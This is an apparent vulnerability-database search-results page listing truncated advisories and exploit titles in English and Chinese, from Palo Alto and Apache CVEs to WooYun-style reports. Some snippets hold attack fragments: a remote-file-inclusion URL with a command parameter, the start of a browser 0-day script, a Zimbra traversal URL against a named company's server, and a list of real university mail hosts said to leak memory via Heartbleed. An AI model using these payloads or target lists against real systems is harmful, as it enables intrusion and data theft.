56796 matches found
Palo Alto Networks firewalls remote root code execution(CVE-2017-15944)
This is a public advisory for CVE-2017-15944 which is a remote root code execution bug in Palo Alto Networks firewalls. Three separate bugs can be used together to remotely execute commands as root through the web management interface without authentication on: PAN-OS 6.1.18 and earlier, PAN-OS...
T-Site建站系统 /AjaxFile/DownLoadFile.aspx文件FilePath参数任意文件下载漏洞
No description provided by source...
Easy Online Shop SQL Injection Vulnerability
No description provided by source. ----------------------------Information------------------------------------------------ +Name : Easy Online Shop = SQL injection Vulnerability Proof of Concept +Autor : Easy Laster +Date : 17.12.2010 +Script : Easy Online Shop +Vendor : http://www.mhproducts.de/...
Shellcode Checksum Routine
No description provided by source. ;Exploit Title: Shellcode Checksum Routine ;Date: Sept 1 2010 ;Author: dijital1 ;Software Link: http://www.ciphermonk.net/code/exploits/shellcode-checksum.asm ;Tested on: Omelet Hunter Shellcode in MSF...
汇文图书馆管理系统致使数十所高校学生信息可泄露
简要描述： 目前汇文软件图书管理系统由于丰富的功能和优良的用户体验被越来越多的高校图书馆采用，但是经测试发现了一个设计疏忽的漏洞而导致高校师生的信息泄露。 详细说明： 猜测是由于高校方面出于方便的考虑，图书馆个人管理系统用户名与密码均初始化为学号，这就给别人留下了可乘之机：因为师生很少会主动的去更改图书馆管理系统的密码，由于学号的连续性，因此只要找到了学校的学号构建规则（或者直接去谷歌一个对应学校的学号）就可以推而广之获取全校师生的图书馆管理系统的用户名密码（均为学号），使用脚本就可以批量化的进行畅通无阻的登录并获取众多师生的信息（安全意识高，自觉修改密码的除外）。...
Dnsmasq TFTP服务远程堆溢出漏洞
BUGTRAQ ID: 36121 CVECAN ID: CVE-2009-2957 Dnsmasq是可方便配置的轻型DNS转发器和DHCP服务器。 dnsmasq在启用了TFTP服务（--enable-tftp命令行选项或在/etc/dnsmasq.conf中启用enable-tftp）的时候存在堆溢出漏洞。如果所配置的tftp-root足够长，且远程用户发送的请求中包含有超长的文件名，dnsmasq就可能崩溃或以dnsmasq服务的权限（通常为非特权的nobody用户）执行任意代码。...
Apache mod_imagemap和mod_imap模块跨站脚本漏洞
BUGTRAQ ID: 26838 CVECAN ID: CVE-2007-5000 Apache HTTP Server是一款流行的Web服务器。 Apache的modimagemap和modimap模块中没有正确地过滤某些用户输入，允许远程攻击者提交恶意的HTTP请求执行跨站脚本攻击。 Apache Group Apache 2.2.0 - 2.2.6 Apache Group Apache 2.0.35 - 2.0.61 Apache Group Apache 1.3.0 - 1.3.39 Apache Group ------------...
Lotus Domino <= R6 Webmail Remote Password Hash Dumper Exploit
No description provided by source. !/bin/bash $Id: raptordominohash,v 1.3 2007/02/13 17:27:28 raptor Exp $ raptordominohash - Lotus Domino R5/R6 HTTPPassword dump Copyright c 2007 Marco Ivaldi [email protected] Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, ...
EQdkp <= 1.3.0 (dbal.php) Remote File Inclusion Vulnerability
No description provided by source. Title: EQdkp = 1.3.0 Remote File Inclusion URL: http://www.eqdkp.com/ Dork: "powered by EQdkp" Author: OLiBekaS greetz: Skulmatic, weleh, brockencode, and all papmahackerlink crew Exploit: /includes/dbal.php?eqdkprootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.c...
Vanilla Forums <= 2.3 Unauth Remote Code Execution (CVE-2016-10033)
I. VULNERABILITY ------------------------- Vanilla Forums = 2.3 Unauth. Remote Code Execution RCE exploit CVE-2016-10033 0day II. BACKGROUND ------------------------- "Community Forums Reinvented Create an online community that your customers will love. Vanilla's forum software is used by top...
New Firefox/Tor Browser 0-day vulnerability （CVE-2016-9079）
No description provided by source. var worker = new Worker'data:javascript,self.onmessage=functionmsgpostMessage"one";postMessage"two";;'; worker.postMessage"zero"; var svgns = 'http://www.w3.org/2000/svg'; worker.onmessage = functione containerA.pauseAnimations; var craftDOM = function container...
Dotproject 2.0 /modules/tasks/gantt.php baseDir Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/16648/info Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these issues to includ...
Ecshop后台两处本地文件包含漏洞
简要描述： 整套程序当中对于某函数未做任何过滤........导致.......你猜......... 求礼物 详细说明： 第一个存在\admin\integrate.php文件中（其实还有好多，我找了两个代表的就提交了） code通过post提交未过滤 第二个存在\admin\shipping.php code通过get提交 漏洞证明： 我在根目录下有一个2.php文件内容是phpinfo url:http://127.0.0.1/ec/admin/integrate.php?act=saveucconfig post:code=..%2F..%2F..%2F2...
phpMyAdmin 3.x preg_replace RCE POC
No description provided by source. ?php echo phpsapiname!=='cli'?'pre':'';? . , \ . . ,/ , / , \ \ // / / / \ | | \ / | |\ /| | | | | | | | / | | | | / | | | || | | | | | \ \ | | | || | \ \ | | | | | | | | | | | | / / | | | | | | | | | | | | | | | |// || || | |// || || ||| | || || \|| || || ||...
PostgreSQL RESET ALL操作不安全权限检查漏洞
BUGTRAQ ID: 40304 CVE ID: CVE-2010-1975 PostgreSQL是一款高级对象－关系型数据库管理系统，支持扩展的SQL标准子集。 PostgreSQL在执行某些RESET ALL操作期间没有正确地执行权限检查，通过认证的远程用户可以通过ALTER USER或ALTER DATABASE语句删除任意参数设置。 PostgreSQL 8.4 PostgreSQL 8.3 PostgreSQL 8.2 PostgreSQL 8.1 PostgreSQL 8.0 PostgreSQL 7.4 厂商补丁： PostgreSQL ----------...
phpBB XS bb_usage_stats.php远程文件包含漏洞
phpBB XS是一款基于PHP的论坛程序。 phpBB XS在处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。 phpBB XS的bbusagestats/includes/bbusagestats.php脚本没有正确验证phpbbrootpath参数的输入数据，允许攻击者通过包含本地或外部资源的任意文件导致执行任意代码。成功攻击要求打开了registerglobals。bbusagestats.php中漏洞代码如下： line 24 include$phpbbrootpath...
Spring data rest 远程代码执行(cve-2017-8046)
漏洞描述 漏洞描述 Spring Data Rest 在处理 PATCH 请求时存在RCE高危漏洞, 可以使用手工构造的JSON数据构造恶意PATCH请求提交至spring-data-rest服务器，使得服务器运行恶意JAVA代码。Spring Data Rest项目的目标是提供一种灵活的、可配置的机制，编写出可以对外暴露出HTTP协议的简单服务。 Git地址: https://github.com/spring-projects/spring-data-rest 漏洞来源: https://pivotal.io/security/cve-2017-8046 影响版本： Spring...
Linux lp.c Out-of-Bounds Write via Kernel Command-line
Vulnerable Versions Linux 4.12-rc1 and below Linux 3.x Linux 2.6.x Linux 2.4.x Linux 2.2.x Mitigation Patch has been committed to the mainline tree, available in the 4.12-rc2 release. 3.18 / 4.4 stable releases with the patch are also avaialble see timeline. Technical Details Due to a missing...
phpwind命令执行getshell（后台）
简要描述： 官网下载最新版 详细说明： v9.0.1 搭建好，登陆 在门户里选择页面管理，新增模块。自定义html 写入phpinfo,提交，然后调用代码 选择调用站外代，复制连接，访问 调用xml，json都可以。以xml为例， http://127.0.0.1/phpwind/www/index.php?m=design&c=api&token=RTwtIGEOYM&id=5&format=xml 去掉xml，会执行phpinfo img src="https://images...
shopNC O2O系统任意文件删除漏洞
简要描述： 齐博齐博快确认，确认了我再送个0day shopNC的任意文件删除挺多的，我拿O2O系统来说明问题吧。 详细说明： /circle/control/cut.php 46行 / 图片裁剪 / public function piccutOp import'function.thumb'; if chksubmit $thumbwidth = $POST'x'; $x1 = $POST"x1"; $y1 = $POST"y1"; $x2 = $POST"x2"; $y2 = $POST"y2"; $w = $POST"w"; $h = $POST"h"; $scale =...
vuBB <= 0.2 (Cookie) Final Remote SQL Injection Exploit (mq=off)
No description provided by source. !/usr/bin/perl print q ---------------------------------------------------------------------- vuBB =0.2 Final Remote SQL Injection cookies Exploit exploit discovered and coded by KingOfSKa https://contropotere.netsons.org...
Linux ARM - Local Root Exploit
No description provided by source. / Just a lame binder local root exploit stub. Somewhat messy but whatever. The bug was reported in CVE-2013-6282. Tested on Android 4.2.2 and 4.4. Kernels 3.0.57, 3.4.5 and few more. All up to 3.4.5 unpatched should be vulnerable. You need to customize the...
deV!L`z Clanportal 1.5.2 - Remote File Include Vulnerability
No description provided by source. + deV!Lz Clanportal 1.5.2 Remote File Include Vulnerability + Discovered By: cr4wl3r + Download: http://www.dzcp.de/downloads/?action=download&id=131 x Code in dzcp1.5.2/inc/config.php REQUIRES requireonce$basePath./inc/mysql.php; --- RFI function show$tpl, $arr...
亿邮某版本OPENSSL heartbleed 通杀
简要描述： 打包了一堆网站,内存里有cookies :D 详细说明： eYouMail 5 inurl:edu 搜素出来就能有漏洞的机率90%左右 前三页成功的结果 mail.jn.gov.cn mail.hpu.edu.cn mail.just.edu.cn mail.hnust.edu.cn mail.tjut.edu.cn mail.shupl.edu.cn mail.haust.edu.cn mail.dufe.edu.cn mail.jliae.edu.cn mail.hist.edu.cn dn1s.cmc.edu.cn mail.hbpu.edu.cn...
fckeditor 2.4.3 upload.php PHP环境下任意文件上传漏洞
No description provided by source...
PHP Web表单哈希冲突拒绝服务漏洞
BUGTRAQ ID: 51193 CVE ID: CVE-2011-4885 PHP 5.3.9之前版本在计算表单参数哈希值的实现上没有提前限制哈希冲突，存在拒绝服务漏洞，通过发送小量的特制webform表单张贴到受影响应用程序，攻击者可利用此漏洞导致使用PHP的站点失去响应正常请求的能力 0 PHP 5.x 厂商补丁： PHP --- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.php.net...
Portable OpenSSH <= 3.6.1p-PAM / 4.1-SUSE Timing Attack Exploit
No description provided by source. !/bin/bash $Id: raptorsshtime,v 1.1 2007/02/13 16:38:57 raptor Exp $ raptorsshtime - OpenSSH remote timing attack exploit Copyright c 2006 Marco Ivaldi [email protected] OpenSSH-portable 3.6.1p1 and earlier with PAM support enabled immediately ...
Visual Studio Code remote code execution vulnerability
I occasionally noticed that Visual Studio Code was listening on a fixed TCP port 9333. After upgrading to 1.19.3, it’s gone. ➜ netstat -an | grep 9333 tcp4 0 0 127.0.0.1.9333 . LISTEN Looks like it’s a bug that affects VSCode 1.19.01.19.2. Extension process always run in debug mode, because of th...
Zabbix Server Active Proxy Trapper Remote Code Execution Vulnerability（ CVE-2017-2824）
Official patch earlier to fix the vulnerabilities: the Zabbix database write vulnerability The vulnerability lies within the ìTrapperî section of the Zabbix Code, this is the network service that allows the Proxies and the Server to communicate TCP Port 10051 There are a set of API calls that the...
IE Godmode remote code execution vulnerability, CVE-2014-6332）
No description provided by source. alliedve.htm // alliewin95+ie3-win10+ie11 dve copy by yuange in 2009. cve-2014-6332 exploit https://twitter.com/yuange75 http://hi.baidu.com/yuange1975 // function runmumaa On Error Resume Next set shell=createobject"Shell.Application" shell.ShellExecute...
泛微OA系统 /mobile/plugin/loadWfGraph.jsp 等3处 SQL注入漏洞
No description provided by source...
Tomcat 3.0/3.1 Snoop Servlet Information Disclosure Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/1532/info A vulnerability exists in the snoop servlet portion of the Tomcat package, version 3.1, from the Apache Software Foundation. Upon hitting an nonexistent file with the .snp extension, too much information is...
nginx ngx_http_process_request_headers()函数空指针引用拒绝服务漏洞
BUGTRAQ ID: 36839 CVECAN ID: CVE-2009-3896 nginx是多平台的HTTP服务器和邮件代理服务器。 nginx服务器的src/http/ngxhttpparse.c文件的ngxhttpprocessrequestheaders函数中存在空指针引用错误，远程攻击者可以通过超长的URI来触发这个漏洞，导致worker进程崩溃。 Igor Sysoev nginx 0.8.x Igor Sysoev nginx 0.7.x Igor Sysoev nginx 0.6.x Igor Sysoev nginx 0.5.x Igor Sysoev nginx...
Apache Tomcat Windows安装程序默认空口令漏洞
BUGTRAQ ID: 36954 CVE ID: CVE-2009-3548 Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。 Windows安装程序默认对管理用户设置了空口令。如果在安装过程中没有更改这个口令，就会使用空口令创建各种管理用户。 Tomcat 5.5.0 to 5.5.28 Tomcat 6.0.0 to 6.0.20 厂商补丁： Apache Group ------------ 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
Symantec杀毒软件Intel LANDesk Common Base Agent服务任意代码执行漏洞
BUGTRAQ ID: 34671 CVECAN ID: CVE-2009-1429 Symantec AntiVirus是非常流行的杀毒解决方案。 Symantec杀毒软件产品的Intel LANDesk Common Base Agent（CBA）服务中存在安全漏洞。如果远程攻击者向TCP 12174端口发送了恶意报文以向CreateProcessA函数传送恶意参数的话，就会导致以SYSTEM权限执行任意代码。 Symantec Client Security 3.1 Symantec Client Security 3.0 Symantec Client Security 2.0...
TightVNC Authentication Failure Integer Overflow PoC
No description provided by source. !/usr/bin/env python [email protected] Modified Andres Lopez Luksenberg's exploit for Authentication Failure scenario in TightVNC. BID 33569 CVE-2009-0388 import socket serversocket = socket.socketsocket.AFINET, socket.SOCKSTREAM serversocket.bind'', 5900...
Fujitsu Systemcast Wizard Lite PXE请求远程溢出漏洞
BUGTRAQ ID: 33342 Systemcast Wizard Lite是用于创建富士通PRIMEQUEST服务器系统的支持软件。 Systemcast Wizard Lite的PXEService服务监听PXE协议请求。入站报文被拷贝到了0x400字节的固定缓冲区，但传送给recvfrom的参数长度为0x5DC，因此如果远程攻击者发送了超过0x400字节的特制upd报文的话，就可以触发溢出，导致执行任意指令。 Fujitsu Systemcast Wizard Lite = 2.0 Fujitsu ------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载...
mail2forum phpBB Mod <= 1.2 (m2f_root_path) Remote Include Vulns
No description provided by source. Title : mail2forum = 1.2 Multiple Remote File Include Vulnerabilities Discovered By OLiBekaS ----------------------------------------------------------------------------- Affected software description : Application : mail for phpbb bulletin board/forum software...
Cisco Adaptive Security Appliance Remote Code Execution and Denial of Service Vulnerability
Summary A vulnerability in the Secure Sockets Layer SSL VPN functionality of the Cisco Adaptive Security Appliance ASA Software could allow an unauthenticated, remote attacker to cause a reload of the affected system or to remotely execute code. The vulnerability is due to an attempt to double fr...
Xplico Unauthenticated Remote Code Execution(CVE-2017-16666)
The goal of Xplico is extract from an internet traffic capture the applications data contained. For example, from a pcap file Xplico extracts each email POP, IMAP, and SMTP protocols, all HTTP contents, each VoIP call SIP, FTP, TFTP, and so on. Xplico isn’t a network protocol analyzer. Xplico is ...
Remote Command Execution in git client (CVE-2017-12426)
Remote Command Execution in git client CVE-2017-12426 An external code review performed by Recurity-Labs identified a remote command execution vulnerability in git that could be exploited via the "Repo by URL" import option in GitLab. The command line git client was not properly escaping command...
天融信TopApp-AD /acc/vpn/download.php 下载漏洞
No description provided by source...
XYCMS教育培训建站系统 v1.9 xyzp_detail.asp等多处 SQL注入漏洞
No description provided by source...
极通 EWEBS 应用虚拟化系统信息泄露漏洞
No description provided by source...
用友NC-IUFO系统通用SQL注入
简要描述： rt 详细说明： 有人提交了，就顺手来看看 漏洞文件：core/public/singleplandetail.jsp 漏洞参数：pk=1012F41000000000WA2V 漏洞类型：SQL注入漏洞（GET型） 影响用户： 收集几个案例，方便测试 http://nc.xhlbdc.com/epp/core/public/singleplandetail.jsp?pk=1012F41000000000WA2V...
SiteServer 3.6.4 background_thread.aspx SQL注入漏洞
SiteServer 3.6.4 /siteserver/bbs/backgroundthread.aspx 文件Title参数没有合适过滤，导致SQL注入漏洞。 0 SiteServer 3.6.4 升级到官方最新版： http://www.siteserver.cn...
金蝶随手网科技网 Zimbra新漏洞
简要描述： 这是对新漏洞的一次实例测试，目前自己没尝试使用漏洞。 详细说明： 漏洞证明： exp估计可以直接添加管理员帐号，未敢验证。cncert可自行尝试 EXP也在zone帖子里 http://mail.feidee.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=0 91214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00...
Linux kernel 2.6.x 'net/bridge/br_multicast.c'本地拒绝服务漏洞(CVE-2011-0716)
BUGTRAQ ID: 46433 CVE ID: CVE-2011-0716 Linux Kernel是Linux操作系统的内核。 Linux Kernel在实现上存在本地拒绝服务漏洞，攻击者可利用此漏洞造成内核崩溃、拒绝服务合法用户 0 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.kernel.org/...
Foxit Reader PDF文件处理多个代码执行和绕过授权漏洞
BUGTRAQ ID: 34035 CVECAN ID: CVE-2009-0191,CVE-2009-0836,CVE-2009-0837 Foxit Reader是一款小型的PDF文档查看器和打印程序。 1 Foxit Reader在处理JBIG2符号字典段时存在错误，特制的PDF文件可能导致引用未经初始化的内存。 2 如果PDF文件中定义了Open/Execute a file操作，Foxit Reader可能会未经用户确认便打开或执行PDF文件创建者所定义的文件。 3 如果带有超长文件名参数的PDF文件中定义了Open/Execute a...
Apache终端转义序列过滤漏洞
CVECAN ID: CVE-2003-0083 Apache是一款广泛使用的开放源代码WEB服务程序。 Apache对日志中的转义序列处理存在问题，攻击者可能利用恶意的日志信息在服务器执行任意命令。 Apache无法过滤错误日志中以ASCII（0x1B）序列开始且带有一系列参数的终端转义序列。如果攻击者能够向Apache错误日志中注入转义序列的话，就可能对远程用户发动各种攻击，包括拒绝服务，文件修改和执行任意命令。 Apache Group Apache 1.3.9 Apache Group Apache 1.3.6 Apache Group Apache 1.3.4 Apache...